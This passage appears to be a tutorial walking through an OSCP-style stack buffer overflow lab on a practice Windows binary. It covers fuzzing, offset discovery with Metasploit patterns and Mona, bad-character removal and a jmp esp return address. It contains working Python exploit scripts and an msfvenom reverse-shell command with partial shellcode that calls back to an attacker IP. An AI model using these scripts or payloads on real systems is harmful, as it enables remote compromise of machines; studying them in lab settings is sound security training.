\u0026quot;oscp\u0026quot;. The \u0026quot;oscp\u0026quot; sub directory contains an oscp.exe and a essfunc.dll. These are the files we will be working with. When we launch the oscp.exe application we see the following terminal pop up.\nThe program tells us that it is listening on port 1337, and that it is waiting for client connections. If we were to scan all open ports through nmap 1nmap -p- 10.10.226.144 We would find the box listening on an unusual port 1337 as well.\n1PORT STATE SERVICE 2135/tcp open msrpc 3139/tcp open netbios-ssn 4445/tcp open microsoft-ds 5554/tcp open rtsp 61337/tcp open waste 72869/tcp open icslap 83389/tcp open ms-wbt-server 95357/tcp open wsdapi 1010243/tcp open unknown 1149152/tcp open unknown 1249153/tcp open unknown 1349154/tcp open unknown 1449155/tcp open unknown 1549161/tcp open unknown 1649162/tcp open unknown Another way we could find out on what port the application is listening, is through netstat. We can first run netstat when the application isn't running and look at the ports. We then run the application again, and look at what extra port is listening. You can use this syntax.\n1netstat -ano | find \u0026#34;LISTEN\u0026#34; Which shows us the following list.\nOkay now that we know on what port the application is listening, we should try to figure out what it's doing. Let's use netcat from our kali VM to connect to the application and look at its interface. 1nc -nv 10.10.226.144 1337 Which shows us the following interface.\nWe can see that we can use the HELP command to get help. When we issue this command, we find the 10 vulnerable OVERFLOW commands as well. In this tutorial we will be focusing on the OVERFLOW10 command, but I encourage you to do some of the others yourself. Let's quit out of the application and open it in Immunity Debugger Introduction to Immunity Debugger Immunity Debugger is present on the desktop of the Windows machine. Open Immunity Debugger as administrator (important, because we need to be able to see as much information about the binary as possible). Whenever I launch Immunity Debugger I start off with three things.\nAttach the program that we will be analyzing. File --\u0026gt; Open --\u0026gt; oscp.exe. Set the font to 6, as the default font is difficult to read. Right click the top left black window --\u0026gt; Appearance --\u0026gt; Font --\u0026gt; Font 6 Right click the top right black window --\u0026gt; Apperance --\u0026gt; Font --\u0026gt; Font 6 Create a work directory in Mona. !mona config -set workingfolder c:\\mona\\%p By creating a Mona workspace, we ensure that Mona saves all files it creates in a working directory called c:\\mona\\program.\nWe should now have access to an interface similar as to the one in the image below.\nLet's go through a quick rundown of the Immunity Debugger. Going from left to right, the first buttons allow us to restart, close, run and pause the program. The next buttons allow us to move through the process in a step by step manner. We can either move one instruction up or one instruction down. We can use the last button to go to a specific address within the process. Next up, we have the instructions. This overview allows us to take a look at the instructions that are executed one by one by the process. We can see their corresponding memory addresses, and a hex dump / ASCII representation of what is happening in memory at those specific addresses. Next, we have the registers. This overview shows the different CPU registers and their current contents, we can see the EAX, ECX, EDX, EBX, ESP, EBP, ESI, EDI and EIP registers in the top window, and at the bottom window we find the memory stack. Finally, at the bottom right we can see the word \u0026quot;Paused\u0026quot;, meaning that the application is currently not running. We can press f9 or click the \u0026quot;run program\u0026quot; button to get it running. Now that we have a basic overview of the Immunity Debugger, we can get into the first step of the exploitation process, which is fuzzing.\nFuzzing The first part of the buffer overflow is to fuzz the application in order to find out whether a buffer overflow vulnerability exists, and if it does, where exactly it occurs. As we have seen in part 1 of this series, buffer overflows are often caused by unregulated user input within a specific function. When we sent 20 characters to a buffer, the program crashed. In that case, the buffer was very small. In this example, we will have to find out at what amount of bytes the buffer overflood. To do this, we can use the following Python3 script.\n1#!/usr/bin/env python3 2 3import socket, time, sys 4 5ip = \u0026#34;10.10.226.144\u0026#34; 6 7port = 1337 8timeout = 5 9prefix = \u0026#34;OVERFLOW10 \u0026#34; 10 11string = prefix + \u0026#34;A\u0026#34; * 100 12 13while True: 14 try: 15 with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: 16 s.settimeout(timeout) 17 s.connect((ip, port)) 18 s.recv(1024) 19 print(\u0026#34;Fuzzing with {} bytes\u0026#34;.format(len(string) - len(prefix))) 20 s.send(bytes(string, \u0026#34;latin-1\u0026#34;)) 21 s.recv(1024) 22 except: 23 print(\u0026#34;Fuzzing crashed at {} bytes\u0026#34;.format(len(string) - len(prefix))) 24 sys.exit(0) 25 string += 100 * \u0026#34;A\u0026#34; 26 time.sleep(1) The script above will use the Python socket library to interact with the socket of the vulnerable application. We have to specify the IP address of the server at which the application runs, and its port. As we saw before, the process is running on port 1337, and the IP address will be the IP address which you used to connect to the Windows box.\nAs we are dealing with user input to a vulnerable function, we will likely have to specify a prefix in order to invoke the function. Like before, we saw that we had to type \u0026quot;OVERFLOW10 \u0026quot; to interact with the program, thus we will add this as a prefix here.\nThe script will then send the prefix, together with 100 A's to the socket in a while loop, and continue adding 100 A's until the program crashes. We will then have a general feeling about how large the vulnerable buffer is.\nLet's run the binary, run the Python script and look at the results. After sending 600 bytes, the 5 second timeout was reached, meaning the program crashed. We can see that here.\n1python3 fuzzer.py 2Fuzzing with 100 bytes 3Fuzzing with 200 bytes 4Fuzzing with 300 bytes 5Fuzzing with 400 bytes 6Fuzzing with 500 bytes 7Fuzzing with 600 bytes 8Fuzzing crashed at 600 bytes When we take a look at the Immunity Debugger, we can see that it hit an \u0026quot;access violation when executing [41414141]\u0026quot;\nWe can see that the stack is all filled with A's, that the EDX, EBX, EBP and EIP are filled with A's as well. The program is trying to jump to the next instruction at 0x41414141, but there is no valid instruction so it crashes. To find out exactly where the process crashed, we can use a string composed of unique patterns, allowing us to figure out exactly at what position within the string the process crashed. For this, we can use two Metasploit utilities (which are allowed to be used for the OSCP), named pattern_create.rb and pattern_offset.rb.\n1/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000 We specify the length of the string using the -l flag. I usually take the amount of bytes at which the program crashed, and add 400 bytes to it, just to make sure that I will succesfully capture the crash. When we look at the output, we see the following string.\n1Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B We can see that the pattern is carefully generated. To find the exact crash, I will introduce the second Python3 script that we will be using.\n1import socket 2 3ip = \u0026#34;10.10.226.144\u0026#34; 4port = 1337 5 6prefix = \u0026#34;OVERFLOW10 \u0026#34; 7offset = 0 8overflow = \u0026#34;A\u0026#34; * offset 9retn = \u0026#34;\u0026#34; 10padding = \u0026#34;\u0026#34; 11payload = \u0026#34;Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B\u0026#34; 12postfix = \u0026#34;\u0026#34; 13 14buffer = prefix + overflow + retn + padding + payload + postfix 15 16s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 17 18try: 19 s.connect((ip, port)) 20 print(\u0026#34;Sending evil buffer...\u0026#34;) 21 s.send(bytes(buffer + \u0026#34;\\r\\n\u0026#34;, \u0026#34;latin-1\u0026#34;)) 22 print(\u0026#34;Done!\u0026#34;) 23except: 24 print(\u0026#34;Could not connect.\u0026#34;) Here we will once again use the socket library to set up a connection to the program, but instead of fuzzing it, we will send the whole payload at once. Thus, we have to supply the IP, port and prefix as before, but now we add the payload (which is our generated string) as well. It will then create a buffer by adding the prefix, overflow, retn, padding, payload and postfix together, and send it to the process.\nFor now we do not have to supply any data for the offset, retn, padding or postfix. In cases where the application does not respond to our exploit script, we possibly have to add a carriage return (CR) or line feed (LF) to move forward one line. This would mean adding \\r\\n to the \u0026quot;postfix\u0026quot; section.\nTo ensure the binary is in its original state, we reopen the oscp binary in Immunity Debugger by navigating to open --\u0026gt; oscp.exe, and press f9 to run the binary. We then run the exploit script and look at the results.\n1python3 exploit.py 2Sending evil buffer... 3Done! We can see that the exploit succeeded, and that the process crashed again in a similar way as before.\nThe only difference now is that we do not just see A's in the registers and in the stack, but we can see the pattern that we sent. We can now use Mona (a Python extension for Immunity Debugger) so find the offset at which it crashed. For this we issue the following command in the bottom of the Immunity Debugger, where -distance is set to the length of the buffer that we previously generated. 1!mona findmsp -distance 1000 When we press enter, Immunity Debugger will be looking through the memory to find the offset patterns. This can take a short while. As we haven't set the font for this pane yet, we can once again set it to font 6 by right clicking --\u0026gt; apperance --\u0026gt; font --\u0026gt; font 6. We can see that Mona found the offset.\nWe are interested in the EIP, or the extended instruction pointer. If we can overwrite the address of this pointer, we can control what instructions the program will execute next, meaning we can possibly make it execute malicious code. We see the following line. 1EIP contains normal pattern : 0x41397241 (offset 537) Now that we found the EIP offset (537), we can add this offset to our Python script. We can then add \u0026quot;BBBB\u0026quot; to the retn variable, like so, and empty our payload.\n1import socket 2 3ip = \u0026#34;10.10.226.144\u0026#34; 4port = 1337 5 6prefix = \u0026#34;OVERFLOW10 \u0026#34; 7offset = 537 8overflow = \u0026#34;A\u0026#34; * offset 9retn = \u0026#34;BBBB\u0026#34; 10padding = \u0026#34;\u0026#34; 11payload = \u0026#34;\u0026#34; 12postfix = \u0026#34;\u0026#34; 13[...] 14buffer = prefix + overflow + retn + padding + payload + postfix 15[...] We can see that the buffer consists of the prefix, overflow, retn, padding, payload and postfix as before. But now that we set the offset, overflow will contain 537 A's, after which 4 B's will be sent. We have to send 537 A's in order to get to the EIP, and we then send 4 B's to fill the EIP with B's. Let's see if this works. We restart the program again, and run the script. We can see that the program crashed.\nWe overwrote EBX and EBP with A's (0x41), but EIP has the value 0x42, which is the B. We now know for sure that we are able to control the EIP value, thus control what instruction the program will execute next after dealing with our buffer. Finding Bad Characters So far we managed to overflow the application and find its offsets, now we are going to figure out what characters we are allowed to use in the shell code that we will be generating later. Some characters are used for specific functions, such as the null byte (0x00) for example. The \\x00 byte represents the string termination point or delimiter character which tells the program to stop processing the string immediately. If we add this byte to our shellcode, it will likely stop processing our code as soon as it sees it. As different programs use different bytes for special functions, we will have to figure out what characters to exclude from our shell code for this specific application. To do so, we can once again use the Mona extension. Let's restart the application and run the following Mona command.\n1!mona bytearray -b \u0026#34;\\x00\u0026#34; This command generated a bytearray with all possible bytes in it, excluding (in this case), the \\x00 byte or null byte. As we set up a working directory before, the bytearray will be saved in this working directory as the bytearray.txt file. We will generate a string of bad characters, use it to crash the program and ask mona to compare our payload with its bytearray, to figure out what bytes aren't interpreted the way they should be by the application. To generate a list of bytes, we use our third and final python script.\n1for x in range(1, 256): 2 print(\u0026#34;\\\\x\u0026#34; + \u0026#34;{:02x}\u0026#34;.format(x), end=\u0026#39;\u0026#39;) 3print() Which outputs a string of all possible bytes, excluding the null byte.\n1\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08\\x09\\x0a\\x0b\\x0c\\x0d\\x0e\\x0f\\x10\\x11\\x12\\x13\\x14\\x15\\x16\\x17\\x18\\x19\\x1a\\x1b\\x1c\\x1d\\x1e\\x1f\\x20\\x21\\x22\\x23\\x24\\x25\\x26\\x27\\x28\\x29\\x2a\\x2b\\x2c\\x2d\\x2e\\x2f\\x30\\x31\\x32\\x33\\x34\\x35\\x36\\x37\\x38\\x39\\x3a\\x3b\\x3c\\x3d\\x3e\\x3f\\x40\\x41\\x42\\x43\\x44\\x45\\x46\\x47\\x48\\x49\\x4a\\x4b\\x4c\\x4d\\x4e\\x4f\\x50\\x51\\x52\\x53\\x54\\x55\\x56\\x57\\x58\\x59\\x5a\\x5b\\x5c\\x5d\\x5e\\x5f\\x60\\x61\\x62\\x63\\x64\\x65\\x66\\x67\\x68\\x69\\x6a\\x6b\\x6c\\x6d\\x6e\\x6f\\x70\\x71\\x72\\x73\\x74\\x75\\x76\\x77\\x78\\x79\\x7a\\x7b\\x7c\\x7d\\x7e\\x7f\\x80\\x81\\x82\\x83\\x84\\x85\\x86\\x87\\x88\\x89\\x8a\\x8b\\x8c\\x8d\\x8e\\x8f\\x90\\x91\\x92\\x93\\x94\\x95\\x96\\x97\\x98\\x99\\x9a\\x9b\\x9c\\x9d\\x9e\\x9f\\xa0\\xa1\\xa2\\xa3\\xa4\\xa5\\xa6\\xa7\\xa8\\xa9\\xaa\\xab\\xac\\xad\\xae\\xaf\\xb0\\xb1\\xb2\\xb3\\xb4\\xb5\\xb6\\xb7\\xb8\\xb9\\xba\\xbb\\xbc\\xbd\\xbe\\xbf\\xc0\\xc1\\xc2\\xc3\\xc4\\xc5\\xc6\\xc7\\xc8\\xc9\\xca\\xcb\\xcc\\xcd\\xce\\xcf\\xd0\\xd1\\xd2\\xd3\\xd4\\xd5\\xd6\\xd7\\xd8\\xd9\\xda\\xdb\\xdc\\xdd\\xde\\xdf\\xe0\\xe1\\xe2\\xe3\\xe4\\xe5\\xe6\\xe7\\xe8\\xe9\\xea\\xeb\\xec\\xed\\xee\\xef\\xf0\\xf1\\xf2\\xf3\\xf4\\xf5\\xf6\\xf7\\xf8\\xf9\\xfa\\xfb\\xfc\\xfd\\xfe\\xff We add this string to our payload in our exploit script like so.\n1import socket 2 3ip = \u0026#34;10.10.226.144\u0026#34; 4port = 1337 5 6prefix = \u0026#34;OVERFLOW10 \u0026#34; 7offset = 537 8overflow = \u0026#34;A\u0026#34; * offset 9retn = \u0026#34;BBBB\u0026#34; 10padding = \u0026#34;\u0026#34; 11payload = \u0026#34;\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08\\x09\\x0a\\x0b\\x0c\\x0d\\x0e\\x0f\\x10\\x11\\x12\\x13\\x14\\x15\\x16\\x17\\x18\\x19\\x1a\\x1b\\x1c\\x1d\\x1e\\x1f\\x20\\x21\\x22\\x23\\x24\\x25\\x26\\x27\\x28\\x29\\x2a\\x2b\\x2c\\x2d\\x2e\\x2f\\x30\\x31\\x32\\x33\\x34\\x35\\x36\\x37\\x38\\x39\\x3a\\x3b\\x3c\\x3d\\x3e\\x3f\\x40\\x41\\x42\\x43\\x44\\x45\\x46\\x47\\x48\\x49\\x4a\\x4b\\x4c\\x4d\\x4e\\x4f\\x50\\x51\\x52\\x53\\x54\\x55\\x56\\x57\\x58\\x59\\x5a\\x5b\\x5c\\x5d\\x5e\\x5f\\x60\\x61\\x62\\x63\\x64\\x65\\x66\\x67\\x68\\x69\\x6a\\x6b\\x6c\\x6d\\x6e\\x6f\\x70\\x71\\x72\\x73\\x74\\x75\\x76\\x77\\x78\\x79\\x7a\\x7b\\x7c\\x7d\\x7e\\x7f\\x80\\x81\\x82\\x83\\x84\\x85\\x86\\x87\\x88\\x89\\x8a\\x8b\\x8c\\x8d\\x8e\\x8f\\x90\\x91\\x92\\x93\\x94\\x95\\x96\\x97\\x98\\x99\\x9a\\x9b\\x9c\\x9d\\x9e\\x9f\\xa0\\xa1\\xa2\\xa3\\xa4\\xa5\\xa6\\xa7\\xa8\\xa9\\xaa\\xab\\xac\\xad\\xae\\xaf\\xb0\\xb1\\xb2\\xb3\\xb4\\xb5\\xb6\\xb7\\xb8\\xb9\\xba\\xbb\\xbc\\xbd\\xbe\\xbf\\xc0\\xc1\\xc2\\xc3\\xc4\\xc5\\xc6\\xc7\\xc8\\xc9\\xca\\xcb\\xcc\\xcd\\xce\\xcf\\xd0\\xd1\\xd2\\xd3\\xd4\\xd5\\xd6\\xd7\\xd8\\xd9\\xda\\xdb\\xdc\\xdd\\xde\\xdf\\xe0\\xe1\\xe2\\xe3\\xe4\\xe5\\xe6\\xe7\\xe8\\xe9\\xea\\xeb\\xec\\xed\\xee\\xef\\xf0\\xf1\\xf2\\xf3\\xf4\\xf5\\xf6\\xf7\\xf8\\xf9\\xfa\\xfb\\xfc\\xfd\\xfe\\xff\u0026#34; 12postfix = \u0026#34;\u0026#34; 13[...] When we run the exploit, we can see the program crashes again. We can now issue another Mona command to see what bytes were bad bytes. To do so, we run the following command.\n1!mona compare -f C:\\mona\\oscp\\bytearray.bin -a 01A0FA30 Where the value of -a is equal to the hex value for the ESP, or the extended stack pointer. You can find this value in the registers overview. When we run this command, we see the following mona memory comparison results.\nWe can see that 00 is added by default, as we specified it as a bad character. We can also see that a0, a1, ad, ae, be, bf, de, df, ef, f0 are flagged as bad characters. Do you see the pattern? After every first bad byte, the second byte is also flagged as a bad character. Usually the first byte causes the second byte to be registered as a bad byte as well. In this case, we should remove the a0, ad, be, de and ef bytes from our byte array, and reproduce our byte array like so. 1!mona bytearray -b \u0026#34;\\x00\\xa0\\xad\\xbe\\xde\\xef\u0026#34; A new bytearray is generated without these characters in them. Now we have to remove these characters from our payload in the python script. Easiest way (imo) to do this is to open it in a text editor and use ctrl +f to find the characters. Our payload now looks like this.\n1payload = \u0026#34;\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08\\x09\\x0a\\x0b\\x0c\\x0d\\x0e\\x0f\\x10\\x11\\x12\\x13\\x14\\x15\\x16\\x17\\x18\\x19\\x1a\\x1b\\x1c\\x1d\\x1e\\x1f\\x20\\x21\\x22\\x23\\x24\\x25\\x26\\x27\\x28\\x29\\x2a\\x2b\\x2c\\x2d\\x2e\\x2f\\x30\\x31\\x32\\x33\\x34\\x35\\x36\\x37\\x38\\x39\\x3a\\x3b\\x3c\\x3d\\x3e\\x3f\\x40\\x41\\x42\\x43\\x44\\x45\\x46\\x47\\x48\\x49\\x4a\\x4b\\x4c\\x4d\\x4e\\x4f\\x50\\x51\\x52\\x53\\x54\\x55\\x56\\x57\\x58\\x59\\x5a\\x5b\\x5c\\x5d\\x5e\\x5f\\x60\\x61\\x62\\x63\\x64\\x65\\x66\\x67\\x68\\x69\\x6a\\x6b\\x6c\\x6d\\x6e\\x6f\\x70\\x71\\x72\\x73\\x74\\x75\\x76\\x77\\x78\\x79\\x7a\\x7b\\x7c\\x7d\\x7e\\x7f\\x80\\x81\\x82\\x83\\x84\\x85\\x86\\x87\\x88\\x89\\x8a\\x8b\\x8c\\x8d\\x8e\\x8f\\x90\\x91\\x92\\x93\\x94\\x95\\x96\\x97\\x98\\x99\\x9a\\x9b\\x9c\\x9d\\x9e\\x9f\\xa1\\xa2\\xa3\\xa4\\xa5\\xa6\\xa7\\xa8\\xa9\\xaa\\xab\\xac\\xae\\xaf\\xb0\\xb1\\xb2\\xb3\\xb4\\xb5\\xb6\\xb7\\xb8\\xb9\\xba\\xbb\\xbc\\xbd\\xbf\\xc0\\xc1\\xc2\\xc3\\xc4\\xc5\\xc6\\xc7\\xc8\\xc9\\xca\\xcb\\xcc\\xcd\\xce\\xcf\\xd0\\xd1\\xd2\\xd3\\xd4\\xd5\\xd6\\xd7\\xd8\\xd9\\xda\\xdb\\xdc\\xdd\\xdf\\xe0\\xe1\\xe2\\xe3\\xe4\\xe5\\xe6\\xe7\\xe8\\xe9\\xea\\xeb\\xec\\xed\\xee\\xf0\\xf1\\xf2\\xf3\\xf4\\xf5\\xf6\\xf7\\xf8\\xf9\\xfa\\xfb\\xfc\\xfd\\xfe\\xff\u0026#34; Let's restart the program, crash it again and compare the byte array. It could be the case that the ESP value changed, so make sure you double check that. We then run the mona command.\n1!mona compare -f C:\\mona\\oscp\\bytearray.bin -a 0196FA30 Another mona memory comparison results tab pops up with the status result of \u0026quot;unmodified\u0026quot;.\nMeaning that we succesfully eliminated all bad characters from our list. We now know that we should make sure that the \"\\x00\\xa0\\xad\\xbe\\xde\\xef\" bytes will not be used in our shell code. Now we are good to go to look for a jump point. Finding a Jump Point We already figured out that we can control the EIP, meaning we can control what instructions the process is going to execute next. In order to exploit this, we need to find a jump point (jmp esp) that we can jump to. By doing so, we can tell the program to jump to a specific location in memory, after which we can add our shellcode to the process and let it execute it. This will make more sense when we visualize it in a bit. Let's use mona to find a jmp esp that does not contain any of our bad characters like so.\n1!mona jmp -r esp -cpb \u0026#34;\\x00\\xa0\\xad\\xbe\\xde\\xef\u0026#34; If for some reason the window does not pop up, you should navigate to Windows --\u0026gt; 2 Log data. We find a total of 9 pointers that we can use for our jump!\nIn the entries we can see that the jump points are found in the essfunc.dll, and have no protections enabled such as ASLR or SafeSEH. Let's take the memory address of the first jmp point, and rewrite it to little endian, and then write it out in hex. 1big endian: 625011af 2small endian: af115061 3hex: \\xaf\\x11\\x50\\x62 We can now add the hex value to the retn value in our exploit script, meaning that EIP will point to the address of this jmp esp.\n1import socket 2 3ip = \u0026#34;10.10.164.209\u0026#34; 4port = 1337 5 6prefix = \u0026#34;OVERFLOW10 \u0026#34; 7offset = 537 8overflow = \u0026#34;A\u0026#34; * offset 9retn = \u0026#34;\\xaf\\x11\\x50\\x62\u0026#34; 10padding = \u0026#34;\u0026#34; 11payload = \u0026#34;\u0026#34; 12postfix = \u0026#34;\u0026#34; 13 14buffer = prefix + overflow + retn + padding + payload + postfix 15[...] Before we generate any shell code, let's make sure that the jmp esp that we set as the return address will also be used by the application. In order to do so, we reload and relaunch the application, use the \u0026quot;go to address in disassembler\u0026quot; button (as described in the \u0026quot;Introduction to Immunity Debugger\u0026quot; paragraph), and supply our big endian jmp esp memory address there. We then find our jmp esp, and can right click on it to toggle a breakpoint (or press f2) like so.\nThe memory address should now turn light blue. Setting a breakpoint means that the debugger will continue all instructions until it reaches this specific memory address. It will then wait for us, the user, to supply any user input. Let's make sure that if we send our payload the program we will hit the breakpoint before the program crashes. Let's run the exploit script and see what happens. We see that the application paused, and that the breakpoint at essfunc.625011AF was reached. We can also see that the EIP points to our jmp esp address, meaning that we now succesfully control the jump point for the program. Now it's time to weaponize it. Generating Shellcode In order to weaponize our buffer overflow, we need to generate shell code. To do so, we can use msfvenom. Let's run the following command.\n1msfvenom -p windows/shell_reverse_tcp LHOST=10.9.0.153 LPORT=9001 EXITFUNC=thread -b \u0026#34;\\x00\\xa0\\xad\\xbe\\xde\\xef\u0026#34; -f c Here we supply the following options:\nWe will generate a stageless payload by supplying the windows/shell_reverse_tcp payload, meaning we do not require a framework like metasploit to catch our shell. More information and stageless vs staged payloads can be found here. We set our LHOST and LPORT to our vpn IP and a random port. We set our exit function to thread, which allows for a clean exit out of the thread after executing our shell code. We supply the bad characters that are not allowed to be in our shellcode. We set the output type to c code, as we can easily add this to our python script with a simple trick, and allows for a smaller payload. When we run the command we get the following shell code back.\n1[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload 2[-] No arch selected, selecting arch: x86 from the payload 3Found 11 compatible encoders 4Attempting to encode payload with 1 iterations of x86/shikata_ga_nai 5x86/shikata_ga_nai failed with A valid opcode permutation could not be found. 6Attempting to encode payload with 1 iterations of generic/none 7generic/none failed with Encoding failed due to a bad character (index=3, char=0x00) 8Attempting to encode payload with 1 iterations of x86/call4_dword_xor 9x86/call4_dword_xor succeeded with size 348 (iteration=0) 10x86/call4_dword_xor chosen with final size 348 11Payload size: 348 bytes 12Final size of c file: 1488 bytes 13unsigned char buf[] = 14\u0026#34;\\x29\\xc9\\x83\\xe9\\xaf\\xe8\\xff\\xff\\xff\\xff\\xc0\\x5e\\x81\\x76\\x0e\u0026#34; 15\u0026#34;\\x1e\\x7b\\x0e\\x0e\\x83\\xee\\xfc\\xe2\\xf4\\xe2\\x93\\x8c\\x0e\\x1e\\x7b\u0026#34; 16\u0026#34;\\x6e\\x87\\xfb\\x4a\\xce\\x6a\\x95\\x2b\\x3e\\x85\\x4c\\x77\\x85\\x5c\\x0a\u0026#34; 17\u0026#34;\\xf0\\x7c\\x26\\x11\\xcc\\x44\\x28\\x2f\\x84\\xa2\\x32\\x7f\\x07\\x0c\\x22\u0026#34; 18\u0026#34;\\x3e\\xba\\xc1\\x03\\x1f\\xbc\\xec\\xfc\\x4c\\x2c\\x85\\x5c\\x0e\\xf0\\x44\u0026#34; 19\u0026#34;\\x32\\x95\\x37\\x1f\\x76\\xfd\\x33\\x0f\\xdf\\x4f\\xf0\\x57\\x2e\\x1f\\xa8\u0026#34; 20\u0026#34;\\x85\\x47\\x06\\x98\\x34\\x47\\x95\\x4f\\x85\\x0f\\xc8\\x4a\\xf1\\xa2\\xdf\u0026#34; 21\u0026#34;\\xb4\\x03\\x0f\\xd9\\x43\\xee\\x7b\\xe8\\x78\\x73\\xf6\\x25\\x06\\x2a\\x7b\u0026#34; 22\u0026#34;\\xfa\\x23\\x85\\x56\\x3a\\x7a\\xdd\\x68\\x95\\x77\\x45\\x85\\x46\\x67\\x0f\u0026#34; 23\u0026#34;\\xdd\\x95\\x7f\\x85\\x0f\\xce\\xf2\\x4a\\x2a\\x3a\\x20\\x55\\x6f\\x47\\x21\u0026#34; 24\u0026#34;\\x5f\\xf1\\xfe\\x24\\x51\\x54\\x95\\x69\\xe5\\x83\\x43\\x13\\x3d\\x3c\\x1e\u0026#34; 25\u0026#34;\\x7b\\x66\\x79\\x6d\\x49\\x51\\x5a\\x76\\x37\\x79\\x28\\x19\\x84\\xdb\\xb6\u0026#34; 26\u0026#34;\\x8e\\x7a\\x0e\\x0e\\x37\\xbf\\x5a\\x5e\\x76\\x52\\x8e\\x65\\x1e\\x84\\xdb\u0026#34; 27\u0026#34;\\x5e\\x4e\\x2b\\x5e\\x4e\\x4e\\x3b\\x5e\\x66\\xf4\\x74\\xd1\\xee\\xe1\\xae\u0026#34; 28\u0026#34;\\x99\\x64\\x1b\\x13\\x04\\x07\\x1e\\xe2\\x66\\x0c\\x1e\\x58\\x27\\x87\\xf8\u0026#34; 29\u0026#34;\\x11\\x1e\\x58\\x49\\x13\\x97\\xab\\x6a\\x1a\\xf1\\xdb\\x9b\\xbb\\x7a\\x02\u0026#34; 30\u0026#34;\\xe1\\x35\\x06\\x7b\\xf2\\x13\\xfe\\xbb\\xbc\\x2d\\xf1\\xdb\\x76\\x18\\x63\u0026#34; 31\u0026#34;\\x6a\\x1e\\xf2\\xed\\x59\\x49\\x2c\\x3f\\xf8\\x74\\x69\\x57\\x58\\xfc\\x86\u0026#34; 